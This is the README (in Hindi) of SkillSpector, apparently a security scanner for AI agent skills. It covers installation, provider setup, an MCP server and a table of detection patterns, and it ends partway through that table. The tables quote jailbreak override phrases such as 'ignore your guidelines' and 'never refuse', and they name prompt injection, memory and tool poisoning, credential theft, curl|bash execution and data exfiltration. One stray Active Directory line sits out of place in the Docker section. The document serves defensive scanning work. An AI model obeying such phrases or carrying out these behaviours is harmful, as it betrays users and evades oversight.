
SkillSpector v2.8.2
AI एजेंट स्किल्स के लिए सुरक्षा स्कैनर। इन्हें इंस्टॉल करने से पहले Claude Code, Codex और MCP स्किल्स में कमजोरियाँ, दुर्भावनापूर्ण पैटर्न, सुरक्षा जोखिम, प्रॉम्प्ट इंजेक्शन, डेटा एक्सफिल्ट्रेशन और सप्लाई-चेन जोखिम का पता लगाएँ।
SkillSpector
AI एजेंट स्किल्स के लिए सुरक्षा स्कैनर। एजेंट स्किल्स इंस्टॉल करने से पहले भेद्यताएँ, दुर्भावनापूर्ण पैटर्न और सुरक्षा जोखिमों का पता लगाएं।
अवलोकन
AI एजेंट स्किल्स (जैसे Claude Code, Codex CLI, Gemini CLI आदि) अंतर्निहित विश्वास और न्यूनतम जाँच के साथ निष्पादित होती हैं। शोध से पता चलता है कि 26.1% स्किल्स में भेद्यताएँ होती हैं और 5.2% में संभावित दुर्भावनापूर्ण इरादा होता है।
SkillSpector आपको उत्तर देने में मदद करता है: "क्या यह स्किल इंस्टॉल करना सुरक्षित है?"
SkillSpector NVIDIA Verified Skills पाइपलाइन का हिस्सा है, जो प्रकाशन से पहले एजेंट स्किल्स को स्कैन, मूल्यांकन और साइन करता है। उत्तीर्ण होने वाली स्किल्स को NVIDIA skills कैटलॉग में प्रकाशित किया जाता है।
दस्तावेज़ीकरण
- इंस्टॉलेशन से पहले एजेंट स्किल्स स्कैन करें — होस्टेड गाइड: कब स्कैन करें, रिपोर्ट कैसे पढ़ें, और इंस्टॉल को कैसे नियंत्रित करें।
- डेवलपमेंट गाइड — आर्किटेक्चर, पैकेज लेआउट, और एनालाइज़र पाइपलाइन को कैसे विस्तारित करें।
- Pi एक्सटेंशन — एजेंट सत्रों के अंदर स्किल्स स्कैन करने के लिए SkillSpector को Pi टूल के रूप में इंस्टॉल करें।
विशेषताएँ
- मल्टी-फॉर्मेट इनपुट: Git रेपो, URLs, ज़िप फ़ाइलें, डायरेक्टरीज़, या एकल फ़ाइलें स्कैन करें
- 17 श्रेणियों में 68 भेद्यता पैटर्न: प्रॉम्प्ट इंजेक्शन, डेटा बहिर्गमन (data exfiltration), विशेषाधिकार वृद्धि, सप्लाई चेन, अत्यधिक एजेंसी, आउटपुट हैंडलिंग, सिस्टम प्रॉम्प्ट लीकेज, मेमोरी पॉइज़निंग, टूल दुरुपयोग, रॉग एजेंट, प्रति-अस्वीकृति (anti-refusal), ट्रिगर दुरुपयोग, खतरनाक कोड (AST), टेंट ट्रैकिंग, YARA सिग्नेचर, MCP न्यूनतम विशेषाधिकार, और MCP टूल पॉइज़निंग
- दो-चरणीय विश्लेषण: तेज़ स्थैतिक विश्लेषण + वैकल्पिक LLM शब्दार्थ मूल्यांकन
- लाइव भेद्यता लुकअप: SC4 वास्तविक समय के CVE डेटा के लिए OSV.dev से क्वेरी करता है, स्वचालित ऑफ़लाइन फ़ॉलबैक के साथ
- एकाधिक आउटपुट प्रारूप: टर्मिनल, JSON, Markdown, और SARIF रिपोर्ट
- जोखिम स्कोरिंग: गंभीरता लेबल और स्पष्ट अनुशंसाओं के साथ 0-100 स्कोर
- बेसलाइन / गलत-सकारात्मक दमन: glob-नियम या फ़िंगरप्रिंट बेसलाइन के माध्यम से ज्ञात निष्कर्षों को स्वीकार करें ताकि पुनः स्कैन केवल नई समस्याएँ सतह पर लाएं (docs)
त्वरित प्रारंभ
स्थापना
ओपन-सोर्स सॉफ़्टवेयर सूचना: यह प्रोजेक्ट अतिरिक्त तृतीय-पक्ष ओपन सोर्स सॉफ़्टवेयर प्रोजेक्ट डाउनलोड और इंस्टॉल करेगा। इन ओपन सोर्स प्रोजेक्ट्स की लाइसेंस शर्तों की समीक्षा करें।
पहले एक वर्चुअल एनवायरनमेंट बनाएं और सक्रिय करें (सभी make लक्ष्य मानते हैं कि venv सक्रिय है)। uv या pip का उपयोग करें; Makefile uv उपलब्ध होने पर उसका उपयोग करता है, अन्यथा pip।
uv के साथ त्वरित इंस्टॉल (केवल CLI):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git
Update later: uv tool update skillspector
यदि आप `skillspector mcp` चलाने की योजना बना रहे हैं, तो स्थापना के समय MCP एक्स्ट्रा इंस्टॉल करें:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
From source:```bash
Clone the repository
git clone https://github.com/NVIDIA/skillspector.git cd skillspector
Create and activate virtual environment
uv venv .venv && source .venv/bin/activate
or: python3 -m venv .venv && source .venv/bin/activate
Install for production use
make install
Or install with development dependencies
make install-dev
### Docker (Python आवश्यक नहीं)
शामिल [Dockerfile](https://github.com/nvidia/skillspector/blob/HEAD/Dockerfile) से इसे स्थानीय रूप से बनाकर Python इंस्टॉल किए बिना SkillSpector चलाएँ। यह इमेज Docker Official Python `3.12-slim-bookworm` इमेज पर आधारित है।
**इमेज बनाएँ:**```bash
make docker-build
# or: docker build -t skillspector .
स्थानीय निर्देशिका स्कैन करें अपनी वर्तमान निर्देशिका को /scan में माउंट करके, जो कंटेनर की कार्यशील निर्देशिका है:```bash
docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm
**LLM विश्लेषण के साथ स्कैन करें** स्थानीय `.env` फ़ाइल के साथ क्रेडेंशियल पास करके:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF
no_unauthenticated_bind: अगर Active Directory का उपयोग अन-प्रमाणीकृत बाइंड्स के साथ कर रहे हैं, तोFalseपर सेट करें (वैकल्पिक)```bash docker run --rm
-v "$PWD:/scan"
--env-file .env
skillspector scan ./my-skill/
या अपने शेल वातावरण से सीधे क्रेडेंशियल पास करें:```bash
docker run --rm \
-v "$PWD:/scan" \
-e SKILLSPECTOR_PROVIDER=anthropic \
-e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
skillspector scan ./my-skill/
होस्ट फ़ाइलसिस्टम पर एक रिपोर्ट लिखें माउंटेड निर्देशिका में लिखकर:```bash
docker run --rm
-v "$PWD:/scan"
skillspector scan ./my-skill/ --no-llm --format json --output report.json
**वैकल्पिक उपनाम** बार-बार होने वाले स्टैटिक स्कैन के लिए:```bash
alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector'
skillspector-docker scan ./my-skill/ --no-llm
मूल उपयोग```bash
Scan a local skill directory
skillspector scan ./my-skill/
Scan a single SKILL.md file
skillspector scan ./SKILL.md
Scan a Git repository
skillspector scan https://github.com/user/my-skill
Scan a zip file
skillspector scan ./my-skill.zip
#### आकार सीमाएँ
SkillSpector दूरस्थ और संग्रह इनपुट पर दो स्वतंत्र सीमाएँ लागू करता है, ताकि अत्यधिक बड़े डाउनलोड और ज़िप बम के प्रभाव को सीमित किया जा सके:
- **प्रति-इनजेस्ट सीमा**: `INGEST_MAX_BYTES` (100 MiB) — स्ट्रीम किए गए URL डाउनलोड, ज़िप संग्रहों का कुल असम्पीड़ित आकार, और Git रिपॉजिटरी की क्लोन के बाद की डिस्क उपयोग पर लागू होती है।
- **ज़िप सदस्य सीमा**: `INGEST_MAX_ZIP_MEMBERS` (10,000) — एक एकल ज़िप में प्रविष्टियों की संख्या को सीमित करता है।
ध्यान दें कि प्रति-फ़ाइल 1 MB विश्लेषण सीमा (`MAX_FILE_BYTES`) एक अलग, बाद की सीमा है: यह सीमित करती है कि व्यक्तिगत विश्लेषक पहले से इनजेस्ट की गई निर्देशिका से कितना पढ़ेंगे। ऊपर दी गई इनजेस्ट सीमाएँ यह सीमित करती हैं कि शुरुआत में कितनी सामग्री डिस्क पर आ सकती है। किसी भी इनजेस्ट सीमा का उल्लंघन `IngestLimitExceededError` के साथ बंद हो जाता है।
### आउटपुट प्रारूप```bash
# Terminal output (default) - pretty formatted
skillspector scan ./my-skill/
# JSON output - machine readable
skillspector scan ./my-skill/ --format json --output report.json
# Markdown output - for documentation
skillspector scan ./my-skill/ --format markdown --output report.md
# SARIF output - for CI/CD integration and IDE tooling
skillspector scan ./my-skill/ --format sarif --output report.sarif
बैच स्कैनिंग
कौशल की पूरी निर्देशिकाओं को contrib/batch_scan/ से समानांतर में स्कैन करें:```bash
python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm
python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json
python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20
बहुभाषी पहचान (zh/ja/ko) और टर्मिनल/JSON/Markdown आउटपुट का समर्थन करता है।
उच्च समवर्तीता वाले LLM स्कैन के लिए, निम्नलिखित के अनुसार कई API कुंजियाँ कॉन्फ़िगर करें
[`.env.example`](https://github.com/nvidia/skillspector/blob/HEAD/contrib/batch_scan/.env.example) — पूल थ्रूपुट और लचीलापन
बेहतर बनाता है, बशर्ते कुंजियाँ खाता-स्तर की दर सीमा साझा न करें।
विवरण के लिए [योगदान मार्गदर्शिका](https://github.com/nvidia/skillspector/blob/HEAD/contrib/batch_scan/docs/) देखें।
> **LLM समर्थन पर नोट:** डिफ़ॉल्ट कॉन्फ़िगरेशन DeepSeek को सबसे
> सस्ते सार्वजनिक विकल्प के रूप में लक्षित करता है। DeepSeek-Chat
> के [समाप्त होने की उम्मीद है](https://api-docs.deepseek.com/), और योगदानकर्ता
> के पास स्थानीय मॉडलों के विरुद्ध परीक्षण करने के लिए हार्डवेयर नहीं है। बैच स्कैनर
> मूल रूप से OpenAI-संगत एंडपॉइंट्स के साथ परीक्षण किया गया था — DeepSeek की
> संरचित-आउटपुट समर्थन की कमी के कारण मैन्युअल JSON-पार्सिंग पैच की आवश्यकता पड़ी। यदि आप
> एक अधिक सार्वभौमिक बैकएंड (Ollama, vLLM, या कोई अन्य प्रदाता) योगदान कर सकते हैं,
> तो PRs का हार्दिक स्वागत है।
### गलत सकारात्मक परिणामों को दबाना (बेसलाइन)
ज्ञात/स्वीकृत निष्कर्षों को दबाएँ ताकि जोखिम स्कोर केवल उन समस्याओं को प्रतिबिंबित करे
जिनका ट्राइएज नहीं किया गया है, और पुनः-स्कैन केवल *नए* निष्कर्षों को सामने लाएँ।
पूर्ण संदर्भ के लिए [दमन मार्गदर्शिका](https://github.com/nvidia/skillspector/blob/HEAD/docs/SUPPRESSION.md) देखें।```bash
# Accept all current findings into a baseline (run once), then commit it.
skillspector baseline ./my-skill/ -o .skillspector-baseline.yaml
# Scan against the baseline — only NEW findings are reported and scored.
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml
# Review what was suppressed (still excluded from the score).
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed
एक बेसलाइन ड्रिफ्ट-सहिष्णु ग्लोब नियमों (नियम आईडी, फ़ाइल पथ, या
संदेश द्वारा) — देखें .skillspector-baseline.example.yaml.
सटीक फ़िंगरप्रिंट बेसलाइन साक्ष्य-बद्ध होती हैं: स्कैन किए गए स्रोत या
SkillSpector संस्करण को बदलने से निष्कर्ष तब तक सक्रिय रहता है जब तक उसकी दोबारा समीक्षा नहीं की जाती।
जब कोई चयनित बेसलाइन या बेसलाइन आउटपुट स्किल
निर्देशिका के अंदर संग्रहीत होता है, SkillSpector उस सटीक फ़ाइल को सामग्री विश्लेषण से बाहर रखता है ताकि उसका
दमन पाठ निष्कर्ष नहीं बना सकता या पुनर्जनित फ़िंगरप्रिंट में प्रवेश नहीं कर सकता;
सहोदर फ़ाइलें सामान्य स्कैन दायरे में रहती हैं।
LLM विश्लेषण
सर्वोत्तम परिणामों के लिए, OpenAI-संगत LLM एंडपॉइंट कॉन्फ़िगर करें
सिमेंटिक विश्लेषण के लिए। SKILLSPECTOR_PROVIDER का उपयोग करके एक प्रदाता चुनें; होस्ट किए गए प्रदाता बंडल किए गए डिफ़ॉल्ट मॉडल उपलब्ध कराते हैं, जबकि CLI प्रदाता स्थानीय रनटाइम के डिफ़ॉल्ट मॉडल पर वापस आ जाते हैं, जब तक कि SKILLSPECTOR_MODEL सेट न हो। SkillSpector निम्नलिखित के साथ भी काम करता है
स्थानीय OpenAI-संगत सर्वरों (Ollama, vLLM, llama.cpp) और प्रबंधित
अनुमान गेटवे।
प्रदाता (SKILLSPECTOR_PROVIDER) | क्रेडेंशियल पर्यावरण चर | एंडपॉइंट | डिफ़ॉल्ट मॉडल |
|---|---|---|---|
openai | OPENAI_API_KEY (+ वैकल्पिक OPENAI_BASE_URL) | api.openai.com (या कोई भी OpenAI-संगत URL) | gpt-5.4 |
anthropic | ANTHROPIC_API_KEY | api.anthropic.com | claude-opus-4-6 |
anthropic_proxy | ANTHROPIC_PROXY_API_KEY + ANTHROPIC_PROXY_ENDPOINT_URL | कोई भी Vertex-शैली raw-predict प्रॉक्सी | claude-sonnet-4-6 |
bedrock | AWS_PROFILE (वैकल्पिक) + AWS_REGION — SigV4 boto3 के माध्यम से | AWS Bedrock Runtime | us.anthropic.claude-sonnet-4-6-20250915-v1:0 |
nv_build | NVIDIA_INFERENCE_KEY | build.nvidia.com | deepseek-ai/deepseek-v4-flash |
claude_cli | (कोई नहीं — स्थानीय CLI प्रमाणीकरण का उपयोग करता है) | स्थानीय claude बाइनरी | स्थानीय Claude रनटाइम फ़ॉलबैक, या SKILLSPECTOR_MODEL |
codex_cli | (कोई नहीं — स्थानीय CLI प्रमाणीकरण का उपयोग करता है) | स्थानीय codex बाइनरी | स्थानीय Codex रनटाइम फ़ॉलबैक, या SKILLSPECTOR_MODEL |
Stock OpenAI
export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=sk-... skillspector scan ./my-skill/
Anthropic
export SKILLSPECTOR_PROVIDER=anthropic export ANTHROPIC_API_KEY=sk-ant-... skillspector scan ./my-skill/
Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)
export SKILLSPECTOR_PROVIDER=anthropic_proxy export ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict export ANTHROPIC_PROXY_API_KEY=your-bearer-token export SKILLSPECTOR_MODEL=claude-sonnet-4-6 skillspector scan ./my-skill/
AWS Bedrock (Claude via SigV4)
export SKILLSPECTOR_PROVIDER=bedrock
Optional: select an AWS named profile. When unset, the standard
boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.
export AWS_PROFILE=my-profile
export AWS_REGION=us-west-2 # default if unset
Default model: us.anthropic.claude-sonnet-4-6-20250915-v1:0
Override with any Bedrock model ID, cross-region inference-profile
ID, or your own application-inference-profile ARN:
export SKILLSPECTOR_MODEL=us.anthropic.claude-opus-4-6-20250915-v1:0
skillspector scan ./my-skill/
NVIDIA build.nvidia.com
export SKILLSPECTOR_PROVIDER=nv_build export NVIDIA_INFERENCE_KEY=nvapi-... skillspector scan ./my-skill/
Local Claude CLI — no API key; uses your existing claude auth login session
Requires: claude CLI installed and authenticated (claude auth login)
export SKILLSPECTOR_PROVIDER=claude_cli
Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.
export SKILLSPECTOR_MODEL=claude-sonnet-4-6
skillspector scan ./my-skill/
Local Codex CLI — no API key; uses your existing codex login session
Requires: codex CLI installed and authenticated
export SKILLSPECTOR_PROVIDER=codex_cli skillspector scan ./my-skill/
Local Ollama or any OpenAI-compatible endpoint
export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=ollama export OPENAI_BASE_URL=http://localhost:11434/v1 export SKILLSPECTOR_MODEL=llama3.1:8b skillspector scan ./my-skill/
Override the provider's default model
export SKILLSPECTOR_MODEL=gpt-5.2 skillspector scan ./my-skill/
Skip LLM analysis (faster, static analysis only)
skillspector scan ./my-skill/ --no-llm
### MCP सर्वर
SkillSpector को [Model Context Protocol](https://modelcontextprotocol.io)
सर्वर के रूप में चलाएँ ताकि कोई भी MCP-सक्षम एजेंट (Claude Code, Codex CLI, Gemini CLI) या रिमोट
रनटाइम स्कैनिंग को एक टूल के रूप में कॉल कर सके और **परिणाम के आधार पर skill/MCP इंस्टॉल को
गेट कर सके** — SkillSpector को आउट-ऑफ-बैंड ऑडिट चरण के बजाय रनटाइम गार्डरेल में
बदल देता है।
`skillspector mcp` के लिए `skillspector[mcp]` आवश्यक है।```bash
# Install, or reinstall if you already used the CLI-only path
uv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
# FastMCP stdio transport for local CLI agents
skillspector mcp
# streamable HTTP/SSE transport for remote / A2A callers
skillspector mcp --transport http --host 127.0.0.1 --port 8000
stdio ट्रांसपोर्ट स्थानीय CLI एजेंटों के लिए वर्तमान FastMCP पथ है, और issue #199 में रिपोर्ट किया गया initialize हैंग वहाँ भी लागू होता है।
सर्वर केवल एक टूल प्रदान करता है:
scan_skill(target, use_llm=true, output_format="json")— किसी Git URL, फ़ाइल URL,.zip,.mdफ़ाइल या निर्देशिका को स्कैन करता है और एक संरचित निर्णय लौटाता है:risk_score(0-100),severity,recommendation,safe_to_install, औरfindings। यहllm_used/scan_modeभी रिपोर्ट करता है ताकि केवल स्टैटिक स्कैन से मिला कम स्कोर कभी भी पूर्ण स्कैन का स्वच्छ परिणाम न समझा जाए।
इसे Claude Code के साथ इस प्रकार पंजीकृत करें:```bash claude mcp add skillspector -- skillspector mcp
> **सुरक्षा — HTTP ट्रांसपोर्ट विश्वास मॉडल**
>
> HTTP ट्रांसपोर्ट **प्रमाणीकरण के बिना** आता है। कोई भी कॉलर जो
> पोर्ट तक पहुँच सकता है वह `scan_skill` को लागू कर सकता है। stdio या `127.0.0.1` पर यह
> CLI के समान विश्वास सीमा है। यदि आप किसी रूट करने योग्य इंटरफ़ेस से बाइंड करते हैं:
>
> - सर्वर को प्रमाणीकरण करने वाले रिवर्स प्रॉक्सी (जैसे nginx + mTLS) के पीछे रखें
> इसे बाहरी रूप से एक्सपोज़ करने से पहले।
> - HTTP पर स्थानीय पथ और `file://` URL **स्वचालित रूप से अस्वीकार** कर दिए जाते हैं ताकि
> अनधिकृत कॉलर होस्ट की मनमानी फ़ाइलें न पढ़ सकें। केवल
> रिमोट Git और `.zip` URL स्वीकार किए जाते हैं।
## भेद्यता पैटर्न
SkillSpector **17 श्रेणियों में 68 भेद्यता पैटर्न** का पता लगाता है:
### प्रॉम्प्ट इंजेक्शन (5 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| P1 | निर्देश ओवरराइड | उच्च | सुरक्षा बाधाओं को अनदेखा करने के निर्देश |
| P2 | छिपे निर्देश | उच्च | टिप्पणियों/अदृश्य टेक्स्ट में दुर्भावनापूर्ण निर्देश |
| P3 | बहिर्गमन कमांड | उच्च | संदर्भ को बाह्य रूप से प्रसारित करने के निर्देश |
| P4 | व्यवहार हेरफेर | मध्यम | एजेंट के निर्णयों को बदलने वाले सूक्ष्म निर्देश |
| P5 | हानिकारक सामग्री | गंभीर | ऐसे निर्देश जो शारीरिक हानि पहुँचा सकते हैं |
### एंटी-अस्वीकृति (3 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| AR1 | अस्वीकृति दमन | उच्च | कभी मना न करने या हमेशा अनुपालन करने के निर्देश (जैसे "कभी मना न करें", "हमेशा अनुपालन करें") |
| AR2 | अस्वीकरण दमन | उच्च | चेतावनियों, अस्वीकरणों, या नैतिक टिप्पणी को हटाने के निर्देश (जैसे "कोई अस्वीकरण नहीं", "नैतिकता मत पढ़ाओ") |
| AR3 | सुरक्षा नीति निष्प्रभावीकरण | उच्च | जेलब्रेक फ्रेमिंग जो सुरक्षा रेलिंग को निष्प्रभावी करती है (जैसे "आप पर कोई प्रतिबंध नहीं है", "अपने दिशानिर्देशों को अनदेखा करें", "अभी कुछ भी करें") |
### डेटा बहिर्गमन (4 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| E1 | बाह्य संचरण | मध्यम | डेटा को बाहरी URL पर भेजना |
| E2 | पर्यावरण चर हार्वेस्टिंग | उच्च | गोपनीय जानकारी एकत्र करने के लिए पर्यावरण डेटा की गणना, प्रतिलिपि या खोज करना |
| E3 | फ़ाइल सिस्टम गणना | मध्यम | संवेदनशील फ़ाइलों के लिए निर्देशिकाओं को स्कैन करना |
| E4 | संदर्भ रिसाव | उच्च | बातचीत के संदर्भ को बाह्य रूप से प्रसारित करना |
### विशेषाधिकार वृद्धि (3 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| PE1 | अत्यधिक अनुमतियाँ | निम्न | बताई गई कार्यक्षमता से परे पहुँच का अनुरोध करना |
| PE2 | Sudo/Root निष्पादन | मध्यम | उन्नत सिस्टम विशेषाधिकारों को लागू करना |
| PE3 | क्रेडेंशियल एक्सेस | उच्च | SSH कुंजियाँ, टोकन, पासवर्ड पढ़ना |
### सप्लाई चेन (6 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| SC1 | अनपिन की गई निर्भरताएँ | निम्न | पैकेजों पर कोई संस्करण बाधाएँ नहीं |
| SC2 | बाह्य स्क्रिप्ट लाना | उच्च | curl \| bash और रिमोट कोड निष्पादन |
| SC3 | अस्पष्ट कोड | उच्च | Base64/hex एन्कोडेड निष्पादन |
| SC4 | ज्ञात कमजोर निर्भरताएँ | उच्च | ज्ञात CVE वाली निर्भरताएँ (लाइव OSV.dev लुकअप) |
| SC5 | परित्यक्त निर्भरताएँ | मध्यम | सुरक्षा अद्यतनों के बिना अनुरक्षित न किए गए पैकेज |
| SC6 | टाइपोस्क्वाटिंग | उच्च | लोकप्रिय पैकेजों से मिलते-जुलते पैकेज नाम |
### अत्यधिक एजेंसी (4 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| EA1 | अप्रतिबंधित टूल एक्सेस | उच्च | बिना किसी बाधा के, पूर्ण टूल एक्सेस |
| EA2 | स्वायत्त निर्णय लेना | उच्च | मानव-इन-द-लूप के बिना उच्च-प्रभाव वाले निर्णय |
| EA3 | दायरा विस्तार | मध्यम | बताए गए उद्देश्य से परे विस्तारित क्षमताएँ |
| EA4 | असीमित संसाधन एक्सेस | मध्यम | संसाधन उपभोग पर कोई दर सीमा या कोटा नहीं |
### आउटपुट हैंडलिंग (3 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| OH1 | अमान्यकृत आउटपुट इंजेक्शन | उच्च | बिना सैनिटाइज़ेशन के उपयोग किया गया मॉडल आउटपुट |
| OH2 | क्रॉस-कॉन्टेक्स्ट आउटपुट | मध्यम | बिना सत्यापन के आउटपुट विश्वास सीमाओं के पार प्रवाहित होता है |
| OH3 | असीमित आउटपुट | मध्यम | आउटपुट आकार या निर्माण दर पर कोई सीमा नहीं |
### सिस्टम प्रॉम्प्ट लीकेज (3 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| P6 | प्रत्यक्ष लीकेज | उच्च | ऐसे निर्देश जो सिस्टम प्रॉम्प्ट या आंतरिक नियमों को उजागर करते हैं |
| P7 | अप्रत्यक्ष निष्कर्षण | मध्यम | पुनः-शब्दांकन, अनुवाद, या साइड-चैनलों के माध्यम से निष्कर्षण |
| P8 | टूल-आधारित बहिर्गमन | उच्च | फ़ाइल लेखन या नेटवर्क अनुरोधों के माध्यम से सिस्टम प्रॉम्प्ट बहिर्गमित |
### मेमोरी पॉइज़निंग (3 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| MP1 | स्थायी संदर्भ इंजेक्शन | उच्च | इंटरैक्शन के बीच बने रहने के लिए डिज़ाइन की गई सामग्री |
| MP2 | संदर्भ विंडो स्टफ़िंग | मध्यम | सुरक्षा बाधाओं को विस्थापित करने वाली भराव सामग्री |
| MP3 | मेमोरी हेरफेर | उच्च | एजेंट मेमोरी या संग्रहीत स्थिति के साथ छेड़छाड़ |
### टूल दुरुपयोग (3 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| TM1 | टूल पैरामीटर दुरुपयोग | उच्च | अनपेक्षित व्यवहार के लिए तैयार किए गए पैरामीटर (shell=True, --force) |
| TM2 | चेनिंग दुरुपयोग | उच्च | टूल श्रृंखलाएँ जो व्यक्तिगत सुरक्षा जाँचों को दरकिनार करती हैं |
| TM3 | असुरक्षित डिफ़ॉल्ट | मध्यम | अत्यधिक अनुमतिशील डिफ़ॉल्ट (अक्षम TLS, कोई प्रमाणीकरण नहीं) |
### रॉग एजेंट (2 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| RA1 | स्व-संशोधन | गंभीर | रनटाइम पर अपने कोड या कॉन्फ़िगरेशन को संशोधित करना |
| RA2 | सत्र स्थिरता | उच्च | क्रॉन जॉब या स्टार्टअप स्क्रिप्ट के माध्यम से अनधिकृत स्थिरता |
### ट्रिगर दुरुपयोग (3 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| TR1 | अत्यधिक व्यापक ट्रिगर | मध्यम | सामान्य शब्दों से मेल खाने वाले ट्रिगर पैटर्न |
| TR2 | शैडो कमांड ट्रिगर | उच्च | ऐसे ट्रिगर जो अंतर्निहित कमांड या अन्य कौशलों को ओवरशैड करते हैं |
| TR3 | कीवर्ड बेटिंग ट्रिगर | मध्यम | सक्रियण को अधिकतम करने के लिए डिज़ाइन किए गए सामान्य ट्रिगर |
### व्यवहारिक AST (9 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| AST1 | exec() कॉल | गंभीर | प्रत्यक्ष exec() जो मनमाना कोड निष्पादन सक्षम करता है |
| AST2 | eval() कॉल | उच्च | प्रत्यक्ष eval() जो मनमाने एक्सप्रेशन का मूल्यांकन करता है |
| AST3 | डायनामिक इम्पोर्ट | उच्च | __import__() रनटाइम पर मनमाने मॉड्यूल लोड कर रहा है |
| AST4 | subprocess कॉल | उच्च | subprocess के माध्यम से बाहरी कमांड निष्पादन |
| AST5 | os.system / exec-परिवार | उच्च | os मॉड्यूल के माध्यम से शेल कमांड |
| AST6 | compile() कॉल | मध्यम | स्ट्रिंग्स से कोड ऑब्जेक्ट निर्माण |
| AST7 | डायनामिक getattr() | मध्यम | गैर-शाब्दिक नामों के साथ मनमाना एट्रिब्यूट एक्सेस |
| AST8 | खतरनाक निष्पादन श्रृंखला | गंभीर | exec/eval को डायनामिक स्रोत (नेटवर्क, एन्कोडेड डेटा) के साथ संयुक्त करना |
| AST9 | रिफ्लेक्टिव getattr() सिंक | उच्च | `getattr(os,'system')` / `getattr(builtins,'exec')` के माध्यम से रिफ्लेक्टिव exec जो AST1/AST5 को दरकिनार करता है |
### टेंट ट्रैकिंग (5 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| TT1 | प्रत्यक्ष टेंट प्रवाह | उच्च | डेटा बिना सैनिटाइज़ेशन के सीधे स्रोत से सिंक तक प्रवाहित होता है |
| TT2 | वेरिएबल-मध्यस्थ टेंट प्रवाह | मध्यम | डेटा मध्यवर्ती वेरिएबल्स के माध्यम से स्रोत से सिंक तक प्रवाहित होता है |
| TT3 | क्रेडेंशियल बहिर्गमन श्रृंखला | गंभीर | क्रेडेंशियल (env vars, secrets) नेटवर्क आउटपुट सिंक तक प्रवाहित होते हैं |
| TT4 | फ़ाइल रीड से नेटवर्क बहिर्गमन | उच्च | फ़ाइल सामग्री नेटवर्क आउटपुट सिंक तक प्रवाहित होती है |
| TT5 | बाह्य इनपुट से कोड निष्पादन | गंभीर | नेटवर्क या उपयोगकर्ता इनपुट exec/eval/subprocess सिंक तक प्रवाहित होता है |
### YARA सिग्नेचर (4 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| YR1 | मैलवेयर मैच | गंभीर | ज्ञात मैलवेयर सिग्नेचर के लिए YARA नियम मैच |
| YR2 | वेबशेल मैच | गंभीर | वेबशेल पैटर्न के लिए YARA नियम मैच |
| YR3 | क्रिप्टोमाइनर मैच | उच्च | क्रिप्टो माइनिंग संकेतकों के लिए YARA नियम मैच |
| YR4 | हैक टूल / एक्सप्लॉइट मैच | उच्च | हैक टूल या एक्सप्लॉइट कोड के लिए YARA नियम मैच |
### MCP न्यूनतम विशेषाधिकार (4 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| LP1 | अघोषित क्षमता | उच्च | कोड घोषित अनुमतियों में सूचीबद्ध न की गई क्षमताओं का उपयोग करता है |
| LP2 | वाइल्डकार्ड अनुमति | मध्यम | अनुमति सूची में वाइल्डकार्ड (\*, all, full, any) शामिल हैं |
| LP3 | लापता अनुमति घोषणा | मध्यम | कोई अनुमति फ़ील्ड नहीं है लेकिन कोड में पता लगाने योग्य क्षमताएँ हैं |
| LP4 | अत्यधिक घोषित अनुमति | निम्न | अनुमति घोषित है लेकिन कोई संगत कोड क्षमता नहीं मिली |
### MCP टूल पॉइज़निंग (4 पैटर्न)
| ID | पैटर्न | गंभीरता | विवरण |
|----|---------|----------|-------------|
| TP1 | छिपे निर्देश | उच्च | मेटाडेटा में छिपे निर्देश (HTML टिप्पणियाँ, शून्य-चौड़ाई वाले अक्षर, base64, data URI) |
| TP2 | यूनिकोड धोखा | उच्च | टूल मेटाडेटा में होमोग्लिफ़्स, RTL ओवरराइड्स, मिश्रित-स्क्रिप्ट पहचानकर्ता |
| TP3 | पैरामीटर विवरण इंजेक्शन | मध्यम | पैरामीटर परिभाषाओं में इंजेक्शन पैटर्न (ओवरराइड्स, सिस्टम टोकन, दुर्भावनापूर्ण डिफ़ॉल्ट) |
